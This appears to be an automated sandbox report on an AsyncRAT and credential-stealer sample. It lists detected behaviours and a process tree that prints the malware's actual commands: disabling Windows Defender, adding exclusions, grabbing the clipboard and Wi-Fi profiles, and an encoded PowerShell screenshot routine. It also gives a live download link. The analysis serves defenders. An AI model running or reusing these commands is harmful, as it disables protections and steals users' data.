Analysis Overview
Threat Level: Known bad
The file https://mega.nz/folder/57RWmJoC#bdiDf_I_SViBT3-_XBlWfw/file/g2gTlIAL was found to be: Known bad.
Malicious Activity Summary
AsyncRat
Credentials from Password Stores: Credentials from Web Browsers
Async RAT payload
Command and Scripting Interpreter: PowerShell
Drops file in Drivers directory
Clipboard Data
Loads dropped DLL
Checks computer location settings
UPX packed file
Executes dropped EXE
Reads user/profile data of web browsers
Unsecured Credentials: Credentials In Files
Legitimate hosting services abused for malware hosting/C2
Looks up external IP address via web service
Accesses cryptocurrency files/wallets, possible credential harvesting
Obfuscated Files or Information: Command Obfuscation
Enumerates processes with tasklist
Browser Information Discovery
Enumerates physical storage devices
Event Triggered Execution: Netsh Helper DLL
System Network Configuration Discovery: Wi-Fi Discovery
Suspicious use of SendNotifyMessage
Kills process with taskkill
Enumerates system info in registry
Modifies data under HKEY_USERS
Suspicious use of FindShellTrayWindow
Modifies registry class
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
Suspicious use of WriteProcessMemory
Views/modifies file attributes
Gathers system information
Suspicious behavior: EnumeratesProcesses
Detects videocard installed
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-03 04:03
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-03 04:03
Reported
2024-08-03 04:05
Platform
win10v2004-20240802-en
Max time kernel
107s
Max time network
110s
Command Line
Signatures
AsyncRat
Async RAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Credentials from Password Stores: Credentials from Web Browsers
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in Drivers directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\drivers\etc\hosts | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\Windows\System32\drivers\etc\hosts | C:\Windows\system32\attrib.exe | N/A |
| File opened for modification | C:\Windows\System32\drivers\etc\hosts | C:\Users\Admin\AppData\Local\Temp\Built.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\Downloads\nova\Loader.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\Downloads\nova\Loader.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\Downloads\nova\Loader.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\Downloads\nova\Loader.exe | N/A |
Clipboard Data
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\Downloads\nova\Loader.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Built.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Client.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Built.exe | N/A |
| N/A | N/A | C:\Users\Admin\Downloads\nova\Loader.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\_MEI24962\rar.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Built.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Client.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Built.exe | N/A |
| N/A | N/A | C:\Users\Admin\Downloads\nova\Loader.exe | N/A |
| N/A | N/A | C:\Users\Admin\Downloads\nova\Loader.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Built.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Client.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Built.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Built.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Client.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Built.exe | N/A |
Loads dropped DLL
Reads user/profile data of web browsers
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Unsecured Credentials: Credentials In Files
Accesses cryptocurrency files/wallets, possible credential harvesting
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | discord.com | N/A | N/A |
| N/A | discord.com | N/A | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
| N/A | ip-api.com | N/A | N/A |
Obfuscated Files or Information: Command Obfuscation
Enumerates processes with tasklist
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
Browser Information Discovery
Enumerates physical storage devices
Event Triggered Execution: Netsh Helper DLL
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key queried | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key value enumerated | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
System Network Configuration Discovery: Wi-Fi Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
| N/A | N/A | C:\Windows\system32\netsh.exe | N/A |
Detects videocard installed
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| N/A | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| N/A | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Gathers system information
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\systeminfo.exe | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of WriteProcessMemory
Views/modifies file attributes
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Processes
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://mega.nz/folder/57RWmJoC#bdiDf_I_SViBT3-_XBlWfw/file/g2gTlIAL
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffff266cc40,0x7ffff266cc4c,0x7ffff266cc58
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1912,i,2706657515142979828,3410260916332216695,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=1908 /prefetch:2
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2140,i,2706657515142979828,3410260916332216695,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2172 /prefetch:3
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2240,i,2706657515142979828,3410260916332216695,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2476 /prefetch:8
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3140,i,2706657515142979828,3410260916332216695,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3176 /prefetch:1
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3168,i,2706657515142979828,3410260916332216695,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3216 /prefetch:1
C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4600,i,2706657515142979828,3410260916332216695,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4668 /prefetch:8
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-appcompat-clear --field-trial-handle=4604,i,2706657515142979828,3410260916332216695,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4624 /prefetch:8
C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x4fc 0x310
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5208,i,2706657515142979828,3410260916332216695,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=5340 /prefetch:8
C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\nova\" -spe -an -ai#7zMap28441:70:7zEvent8780
C:\Users\Admin\Downloads\nova\Loader.exe
"C:\Users\Admin\Downloads\nova\Loader.exe"
C:\Users\Admin\AppData\Local\Temp\Built.exe
"C:\Users\Admin\AppData\Local\Temp\Built.exe"
C:\Users\Admin\AppData\Local\Temp\Client.exe
"C:\Users\Admin\AppData\Local\Temp\Client.exe"
C:\Users\Admin\AppData\Local\Temp\Built.exe
"C:\Users\Admin\AppData\Local\Temp\Built.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
C:\Windows\system32\reg.exe
REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
C:\Windows\system32\reg.exe
REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "systeminfo"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-Clipboard
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\netsh.exe
netsh wlan show profile
C:\Windows\system32\systeminfo.exe
systeminfo
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
